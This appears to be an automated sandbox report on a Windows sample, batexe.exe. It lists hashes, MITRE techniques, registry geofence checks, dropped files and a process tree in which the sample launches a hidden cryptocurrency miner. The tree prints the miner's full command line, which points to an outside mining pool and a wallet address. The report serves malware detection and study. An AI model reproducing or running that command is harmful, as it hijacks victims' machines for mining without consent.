73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
293s
max time network
289s
platform
windows10-2004_x64
resource
win10v2004-20231222-ja
resource tags

arch:x64arch:x86image:win10v2004-20231222-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
13-02-2024 23:26

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3803511929-1339359695-2191195476-1000\Control Panel\International\Geo\Nation	batexe.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3803511929-1339359695-2191195476-1000\Control Panel\International\Geo\Nation	b2e.exe

Executes dropped EXE 2 IoCs

pid	Process
4832	b2e.exe
5840	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
5840	cpuminer-sse2.exe
5840	cpuminer-sse2.exe
5840	cpuminer-sse2.exe
5840	cpuminer-sse2.exe
5840	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/5308-9-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 5308 wrote to memory of 4832	5308	batexe.exe	84
PID 5308 wrote to memory of 4832	5308	batexe.exe	84
PID 5308 wrote to memory of 4832	5308	batexe.exe	84
PID 4832 wrote to memory of 3656	4832	b2e.exe	85
PID 4832 wrote to memory of 3656	4832	b2e.exe	85
PID 4832 wrote to memory of 3656	4832	b2e.exe	85
PID 3656 wrote to memory of 5840	3656	cmd.exe	88
PID 3656 wrote to memory of 5840	3656	cmd.exe	88

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:5308
- C:\Users\Admin\AppData\Local\Temp\9E05.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\9E05.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\9E05.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4832
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\A0E3.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3656
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:5840

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\9E05.tmp\b2e.exe

Filesize
11.4MB

MD5
802222e5cba56b63246156c4c8255d47

SHA1
424017856d5b31711dae965960bc18df1f0a0f95

SHA256
c5f2384ebbc10ca75cb6feceaad6c213e7bdb3accf3d1405349d1219353763c2

SHA512
62bb83b6826232a605f96df8005db0fbb72239edd9e51a52b517d3a5f38ac62a20c9961c854313bbc67e6faaab2dee5e8b9ebbf2c17634a89b561714d39d2103

Download Submit
C:\Users\Admin\AppData\Local\Temp\9E05.tmp\b2e.exe

Filesize
4.0MB

MD5
61ea0fee94bdec381a28d5a7ef62720f

SHA1
b8688264cb7220151f425b363414d614574561e3

SHA256
166ebfafebd8c644d638123ece63e85a0fc34e6648779cab587d395061939cd9

SHA512
08b2a7ef27097f4e81259e4953c460457769898b78e99045ad33061505c1b53a1b8251a2d2d19ef1b1f3eaad8daa44ae29664f84f812d0aba08c79360b7eb17d

Download Submit
C:\Users\Admin\AppData\Local\Temp\9E05.tmp\b2e.exe

Filesize
6.1MB

MD5
def75c9f08bf876cc1a4b04a6b567f68

SHA1
002884ca91e0c937fc0991fc68b1dc4fcfa121ac

SHA256
c32087fb7c2d3eb086c2f3dd9d07d3668b8478f1722eb29b1ce7d4a2ecce7348

SHA512
cd32f3514c1c794318cb7371f18d8fdedc301b7a50c768e5c1fbb5a54c3fbd78964f8d4d83f847f37768f8fa0fc332545931d20e4e7688cbe5bd679cc3b5e68b

Download Submit
C:\Users\Admin\AppData\Local\Temp\A0E3.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
1.9MB

MD5
9c47f9cce001f4a4f6acd64063376734

SHA1
93980408399825c0f603d872572b95dde23eba18

SHA256
1e67f92929891a3d02c6a6e9da8ffe0d99c3bdbd3f360f8caf008f00992c2c02

SHA512
70118125c9561432e8ea0a155b5be9b179c5dc5b434262b41c490ce10903a564cd289a19135b7bae62ef745d328f6ca45991f62ff51f2e756a4679297a4bcf60

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.0MB

MD5
03360097f10e03fe5552ae8e1e327aa0

SHA1
464669efcf28e0509a29b12568a5faf13226250f

SHA256
768e77531630f589f116908324cdcde1b14bcecd4d40308bd22fe11fb5dd2ce6

SHA512
e93278f99f3fcfab07c4aadf508bd7ce5c531193d173c8d06fd4f6f3f3da3acb37a73789df4bd24dfd046d9db6422f493c126058fee4be912f19e7f2b0866412

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
2.1MB

MD5
f4b728f06a86a59935e93cc50247243c

SHA1
45498e08bed1bca13bdff800984c4761c2f6d898

SHA256
533a80308d1ebb7e1c83f3e258fd5539267e58fd08254ae1d42566cd5d9e5f35

SHA512
2b5c0fd23acacd840c919de9ccbaa37bee019b28e195090d7493a6e9c270926cb2e80f28081b9e76a3488c218799ad58b2cd8052dcedb4d5c7dccf07826f84ff

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.9MB

MD5
e15ea81287460c76ba21e896f09ac573

SHA1
d04e3714d34020dd677ad3365c6958a1c9433426

SHA256
0bcc6ab2a09fa3ae2786f3d55716aea70e0e9665fd4f3fe12ec40d88ac81f05e

SHA512
d5e07fe37b25d8e8e0bc0e3e463ac9ca262ea1c0b560a1ffeff9cc1c60e56ed06ae6e410037093d46a430b141aeb93d6a3a50b2243ab8e754ac52e60617dd534

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
2.0MB

MD5
f96233acb61b50546514450c0af60b23

SHA1
e9c17b91c88fe3592ff1ddce7158386441d31e39

SHA256
f448eb95177f99352ae637fe8d2f876cf74eb0ef9e743c2e6bf5ea2900414d67

SHA512
0729faf49614b9fcf0b3ea3e5e7539c7b7fb3b36ff60d4d64412fc39de5a9c37087856676d0799a6736f40ed7986b08ed6504b4d52aa7595b5083591d7647dd9

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/4832-53-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4832-8-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/5308-9-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/5840-46-0x000000005FC20000-0x000000005FCB8000-memory.dmp

Filesize
608KB

Download
memory/5840-59-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5840-47-0x0000000001080000-0x0000000002935000-memory.dmp

Filesize
24.7MB

Download
memory/5840-43-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5840-48-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5840-45-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/5840-54-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5840-44-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/5840-64-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5840-74-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5840-79-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5840-84-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5840-89-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5840-94-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5840-99-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5840-104-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download